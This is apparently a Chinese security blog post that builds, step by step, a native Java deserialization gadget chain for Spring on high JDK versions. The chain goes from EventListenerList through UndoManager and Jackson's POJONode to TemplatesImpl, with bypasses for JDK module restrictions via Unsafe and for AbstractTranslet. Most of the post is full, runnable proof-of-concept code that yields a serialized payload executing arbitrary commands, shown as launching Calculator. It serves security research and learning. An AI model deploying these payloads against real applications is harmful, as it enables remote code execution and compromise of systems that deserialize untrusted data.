高版本JDK的Spring原生反序列化链——从零学习之旅

前言

需要学习的知识点还挺多,自己还是太菜了。下面算是关于这个链子从零学习的一个过程。标题突然有点犯二了哈,别介意~

EventListenerList触发任意toString

参考的文章链接是:https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/

orz了,学习!

作者既然提到了是jdk8u66版本,我电脑这里下载好的是jdk8u65,就先用这个版本复现学习一下。

JDK8u65版本环境

如题,我们从EventListenerList类出发,先看其EventListenerList#readObject方法。

下面是具体代码,这里是循环从数据中反序列化出监听器类型listenerTypeOrNull和监听器实例EventListener,然后用add方法将反序列化出来的类型和实例添加到listenerList监听器列表里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(ObjectInputStream s)  
throws IOException, ClassNotFoundException {
listenerList = NULL_ARRAY;
s.defaultReadObject();
Object listenerTypeOrNull;

while (null != (listenerTypeOrNull = s.readObject())) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
EventListener l = (EventListener)s.readObject();
String name = (String) listenerTypeOrNull;
ReflectUtil.checkPackageAccess(name);
add((Class<EventListener>)Class.forName(name, true, cl), l);
}
}

这里还看不出什么,跟进到add方法里面。如果l变量和t不是一个类型的话,就抛出异常。因为异常信息是字符串,因此l和t会去隐式调用toString方法返回字符串拼接进去。初见端倪。

1
2
3
4
5
6
7
8
9
10
public synchronized <T extends EventListener> void add(Class<T> t, T l) {  
if (l==null) {
return;
}
if (!t.isInstance(l)) {
throw new IllegalArgumentException("Listener " + l +
" is not of type " + t);
}
......
}

不过呢,l变量是反序列化后还要强转为EventListener,因此要这里要找一个实现了EventListener和Serializable接口的类。这里找到的是UndoManager类,其toString方法如下:

1
2
3
4
public String toString() {  
return super.toString() + " limit: " + limit +
" indexOfNextAdd: " + indexOfNextAdd;
}

limit和indexOfNextAdd都是int类型,没有可利用的点,因此看其父类CompoundEdit的toString方法。

1
2
3
4
5
6
7
8
9
boolean inProgress;
protected Vector<UndoableEdit> edits;

public String toString()
{
return super.toString()
+ " inProgress: " + inProgress
+ " edits: " + edits;
}

和刚刚提到的一样,这里拼接字符串会隐式调用inProgress和edits的toString方法。inProgress是boolean类型不必太关注,可以看edits的toString。调用到父类接口AbstractCollection的toString方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//Vector类
public synchronized String toString() {
return super.toString();
}

//AbstractCollection类
public String toString() {
Iterator<E> it = iterator();
if (! it.hasNext())
return "[]";

StringBuilder sb = new StringBuilder();
sb.append('[');
for (;;) {
E e = it.next();
sb.append(e == this ? "(this Collection)" : e);
if (! it.hasNext())
return sb.append(']').toString();
sb.append(',').append(' ');
}
}

从容器中取出元素e,然后调用StringBuilder.append方法,e作为参数,我们跟进去看看。

1
2
3
public StringBuilder append(Object obj) {  
return append(String.valueOf(obj));
}

继续看String.valueOf

1
2
3
public static String valueOf(Object obj) {  
return (obj == null) ? "null" : obj.toString();
}

看到这里就是调用到obj的toString的方法。obj自然就是刚刚从容器中取出的的e,而我们可以通过Vector提供的add方法往容器里面塞一个带有恶意toString的类即可。比如下面的恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.IOException;  
import java.io.Serializable;

public class Calc implements Serializable {

public Calc() {
}

public String toString() {
try {
System.out.println("toString方法被调用");
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "";
}
}

分析结束,开始编写POC吧。

POC

先不急着写完整POC,先正向思路验证一下刚刚的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.swing.undo.CompoundEdit;  
import javax.swing.undo.UndoManager;
import java.lang.reflect.Field;
import java.util.Vector;

public class EXP {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Calc calc = new Calc();
UndoManager undoManager = new UndoManager();

Vector vector = new Vector();
vector.add(calc);

Field editsField = CompoundEdit.class.getDeclaredField("edits");
editsField.setAccessible(true);
editsField.set(undoManager,vector);

undoManager.toString();
}
}

没问题

在上面基础上编写完整POC,EventListenerList的反序列化方法之前看了,现在我们看看序列化代码帮助理解如何构造。可以看到实际时有一个Object数组,然后用一个循环。这个循环会这样序列化,首先从数组拿出一个Class,获取其Name然后序列化,然后拿下一个元素为EventListener序列化,类似先序列化一个key键名,然后序列化一个valve值。以此循环下去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class EventListenerList implements Serializable {
private final static Object[] NULL_ARRAY = new Object[0];
protected transient Object[] listenerList = NULL_ARRAY;

private void writeObject(ObjectOutputStream s) throws IOException {
Object[] lList = listenerList;
s.defaultWriteObject();

// Save the non-null event listeners:
for (int i = 0; i < lList.length; i+=2) {
Class<?> t = (Class)lList[i];
EventListener l = (EventListener)lList[i+1];
if ((l!=null) && (l instanceof Serializable)) {
s.writeObject(t.getName());
s.writeObject(l);
}
}

s.writeObject(null);
}
}

这样看来构造序列化数据就不难了。把listenerList值设置为自己建立的Object数组,塞一个Class进去,然后把构造的UndoManager塞进去就行。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import javax.swing.event.EventListenerList;  
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;

public class EXP {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Calc calc = new Calc();
UndoManager undoManager = new UndoManager();

Vector vector = new Vector();
vector.add(calc);

//修改UndoManager父类CompoundEdit的edits值
Field editsField = CompoundEdit.class.getDeclaredField("edits");
editsField.setAccessible(true);
editsField.set(undoManager, vector);

Object[] objects = new Object[]{Base64.class, undoManager};

//修改EventListenerList的listenerList值
EventListenerList eventListenerList = new EventListenerList();
Field listenerListField = eventListenerList.getClass().getDeclaredField("listenerList");
listenerListField.setAccessible(true);
listenerListField.set(eventListenerList, objects);

String data = serialize(eventListenerList);
unserialize(data);
}

public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
return new String(bytecode);
}

public static Object unserialize(String base64) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
return o;
}
}

POJONode#toString反序列化调用getter方法

这个应该大家都知道,但是本人没有怎么接触过jackson而且没打过ctf,所以对我来说是一个新知识点。学习一下

环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>  
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>

POJONode#toString

从左边结构看到PoJoNode类没有toString方法,因此调用他的toString实际是在调用父类的toString。

跟进到ValueNode类也没有,继续看ValveNode的父类BaseJsonNode。现在可以看到了

调用了InternalNodeMapper#nodeToString方法。直接调用了writeValueAsString方法用JackSon的序列化逻辑了。

后续大致一个逻辑如下,因为网上很多资料,而且打过CTF的大哥应该很熟悉了,就不过多赘述。

1
BaseJsonNode#toString-> InternalNodeMapper#nodeToString-> ObjectWriter#writeValueAsString-> ObjectWriter#_writeValueAndClose-> DefaultSerializerProvider#serializeValue-> DefaultSerializerProvider#_serialize-> BeanSerializer#serialize-> BeanSerializerBase#serializeFields-> BeanPropertyWriter#serializeAsField-> TemplatesImpl#getOutputProperties

POC

需要注意的是ObjectOutputStream#writeObject0里面,如果反序列化的类有writeReplace方法,会去尝试替换对象导致异常终止程序,可以用javassist修改字节码删掉这个方法或者改掉名字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class POC {
public static void main(String[] args)throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(POC.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("writeReplace_1111");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("cmisl");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode node = new POJONode(templates);
BadAttributeValueExpException val;
val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();
}

public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

EventListenerList调用连

结合上面内容,用EventListenerList去调用POJONode的toString方法,然后通过POJONode的toString方法调用TemplatesImpl#getOutputProperties方法。POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;

public class EventListenerList_POC {
public static void main(String[] args) throws Exception {

// POJONode evilPojoNode = getPOJONode();
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("writeReplace_1111");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("cmisl");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode evilPojoNode = new POJONode(templates);

UndoManager undoManager = new UndoManager();

Vector vector = new Vector();
vector.add(evilPojoNode);

//修改UndoManager父类CompoundEdit的edits值
Field editsField = CompoundEdit.class.getDeclaredField("edits");
editsField.setAccessible(true);
editsField.set(undoManager, vector);

Object[] objects = new Object[]{Base64.class, undoManager};

//修改EventListenerList的listenerList值
EventListenerList evileventListenerList = new EventListenerList();

setValue(evileventListenerList, "listenerList", objects);

String data = serialize(evileventListenerList);
unserialize(data);
}


public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
return new String(bytecode);
}

public static Object unserialize(String base64) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
return o;
}
}

高版本JDK环境下构造

从上面的内容就已经有一个清晰的Spring环境原生的反序列化链了。并且EventListenerList也可以在高版本JDK替代了BadAttributeValueExpException类去调用toString方法。但是除此之外我们还需要解决高版本JDK环境中的反射调用,和恶意类继承AbstractTranslet的问题。

其实对于高版本JDK的反射调用,我写过一篇文章其中有相关说明:https://cmisl.github.io/2024/10/28/%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81%E5%88%86%E6%9E%90/

高版本JDK无法反射调用主要是有如下方法进行检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private boolean checkCanSetAccessible(Class<?> caller,
Class<?> declaringClass,
boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
throw new IllegalCallerException(); // should not happen
}

Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();

if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;

String pn = declaringClass.getPackageName();
int modifiers;
if (this instanceof Executable) {
modifiers = ((Executable) this).getModifiers();
} else {
modifiers = ((Field) this).getModifiers();
}

// class is public and package is exported to caller
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
// member is public
if (Modifier.isPublic(modifiers)) {
return true;
}

// member is protected-static
if (Modifier.isProtected(modifiers)
&& Modifier.isStatic(modifiers)
&& isSubclassOf(caller, declaringClass)) {
return true;
}
}

// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
return true;
}

if (throwExceptionIfDenied) {
// not accessible
String msg = "Unable to make ";
if (this instanceof Field)
msg += "field ";
msg += this + " accessible: " + declaringModule + " does not \"";
if (isClassPublic && Modifier.isPublic(modifiers))
msg += "exports";
else
msg += "opens";
msg += " " + pn + "\" to " + callerModule;
InaccessibleObjectException e = new InaccessibleObjectException(msg);
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
return false;
}

checkCanSetAccessible 方法有多个条件可以返回 true,表示调用者可以访问指定的类或成员。以下是所有能返回 true 的情况的总结:

  1. 同一模块:如果 callerModuledeclaringModule 是同一个模块(callerModule == declaringModule),返回 true
  2. 未命名模块:如果 callerModuleObject 类所在的模块(未命名模块),返回 truecallerModule == Object.class.getModule())。
  3. 未命名模块的声明者:如果 declaringModule 不是命名模块(!declaringModule.isNamed()),返回 true
  4. 公共类和导出的包:如果 declaringClass 是公共类(isClassPublictrue)并且其声明者模块导出了包(declaringModule.isExported(pn, callerModule)):若成员是公共的(Modifier.isPublic(modifiers)),返回 true。或者若成员是受保护的静态成员(Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers))且调用者是声明者类的子类(isSubclassOf(caller, declaringClass)),返回 true
  5. 开放的包:如果 declaringModule 对包(pn)是开放的(declaringModule.isOpen(pn, callerModule)),返回 true

我们可以关注第一种情况,也就是callerModuledeclaringModule 是同一个模块这种情况。因为他的比较是获取调用类的Class对象的Moudle属性去和声明类的Class对象的module属性去做一个比较,即我们正在运行的当前类和ClassLoader类的Class对象的module属性做比较,如果我们可以修改当前类的Class对象的module属性,将其设置和ClassLoader类的Class对象的module属性一样,那就可以返回true,即运行当前类反射调用ClassLoader类的defineclass方法。

可以通过Unsafe类的相关方法来修改类的module属性来绕过检查,具体的内容还是推荐看刚刚提到我写过的一篇JDK高版本绕过的文章。

绕过代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BypassMoudle(TemplatesImpl.class);  
BypassMoudle(POJONode.class);
BypassMoudle(EventListenerList.class);
BypassMoudle(SpringPOC.class);
BypassMoudle(Field.class);
BypassMoudle(Method.class);

public static void BypassMoudle(Object obj) throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

Module baseModule = obj.getClass().getModule();
Class currentClass = SpringPOC.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
//使用putObject方法来设置moudle
unsafe.putObject(currentClass, offset, baseModule);
}

解决继承AbstractTranslet影响

我们在构造TemplatesImpl时,里面要加载的字节码是需要继承AbstractTranslet类的,但如果我们去继承的话,由于jdk17的包隔离,会出现很多问题,上面的绕过方法就不太行了。

而TemplatesImpl链确实存在去除 AbstractTranslet 限制的trick:https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6

之前是继承了的话,就会把_transletIndex赋值为i,必然大于等于0,原本默认值是-1,后续会判断这个值是否小于0,小于0就异常,我们不继承的话就不会走到赋值这一步。但是可以通过反射修改_transletIndex值,还需要注意的是由于会走到另外一个分支语句,也就是_auxClasses.put,因此_auxClasses不能为其默认值null。


不过前面就有new一个hashmap的代码,只需要classCount大于1,就是说bytecodes这个字节数组要有两个及以上的元素,这个只需要多加一个任意类的字节码作为第二个元素就行。

因此改为如下代码即可:

1
2
3
4
5
6
7
8
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes, ClassFiles.classAsBytes(XXX.class)
});

Reflections.setFieldValue(templates, "_name", "cmisl");
// 满足条件 1. classCount也就是_bytecodes的数量大于1 2. _transletIndex >= 0 可去掉 AbstractTranslet
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

getter方法调用顺序的随机性

jackson在反序列化时,调用getter方法时通过getDeclaredMethods,而用这个函数获取的方法顺序随机,所以可能导致还没调用到预期getter方法就报错终止代码。

使用 Spring Aop 代理封装,可以使 Jackson 只获取到我们需要的 getter。Templates接口的getter方法只有一个getOutputProperties,所以getDeclaredMethods获取的时候也不会出现顺序问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 创建AdvisedSupport对象,用于保存代理相关的配置信息
AdvisedSupport advisedSupport = new AdvisedSupport();

// 设置目标对象
advisedSupport.setTarget(templates);

Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);

constructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);

// 创建代理对象,实现Templates接口
Object proxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), // 类加载器
new Class[]{Templates.class}, // 代理需要实现的接口
handler // 调用处理器
);

最后的POC

没有优化的POC,也是根据文章一步步学习和理解思路然后修改出来的第一版POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Vector;

public class SpringPOC {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
originalMethod.setName("writeReplace_1111");
ctClass.toClass();

BypassMoudle(TemplatesImpl.class);
BypassMoudle(POJONode.class);
BypassMoudle(EventListenerList.class);
BypassMoudle(SpringPOC.class);
BypassMoudle(Field.class);
BypassMoudle(Method.class);
// BypassMoudle(AbstractTranslet.class);

CtClass clazz = pool.makeClass("cmisl");


CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(constructor);

byte[][] bytes = new byte[][]{clazz.toBytecode(), ClassPool.getDefault().makeClass("cmisl11").toBytecode()};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "a");
setValue(templates, "_transletIndex", 0);

AdvisedSupport advisedSupport = new AdvisedSupport();


advisedSupport.setTarget(templates);

Constructor constructor1 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);

constructor1.setAccessible(true);

InvocationHandler handler = (InvocationHandler) constructor1.newInstance(advisedSupport);

Object proxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class},
handler
);

POJONode evilPojoNode = new POJONode(proxy);

UndoManager undoManager = new UndoManager();

Vector vector = new Vector();
vector.add(evilPojoNode);

//修改UndoManager父类CompoundEdit的edits值
BypassMoudle(undoManager.getClass());
BypassMoudle(undoManager.getClass().getSuperclass());
Field editsField = undoManager.getClass().getSuperclass().getDeclaredField("edits");
editsField.setAccessible(true);
editsField.set(undoManager, vector);


Object[] objects = new Object[]{Base64.class, undoManager};

//修改EventListenerList的listenerList值
EventListenerList evileventListenerList = new EventListenerList();

setValue(evileventListenerList, "listenerList", objects);

String data = serialize(evileventListenerList);
System.out.println(data);
unserialize(data);
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}

public static void setValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());
return new String(bytecode);
}

public static Object unserialize(String base64) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
return o;
}

public static void BypassMoudle(Object obj) throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

Module baseModule = obj.getClass().getModule();
Class currentClass = SpringPOC.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
//使用putObject方法来设置moudle
unsafe.putObject(currentClass, offset, baseModule);
}
}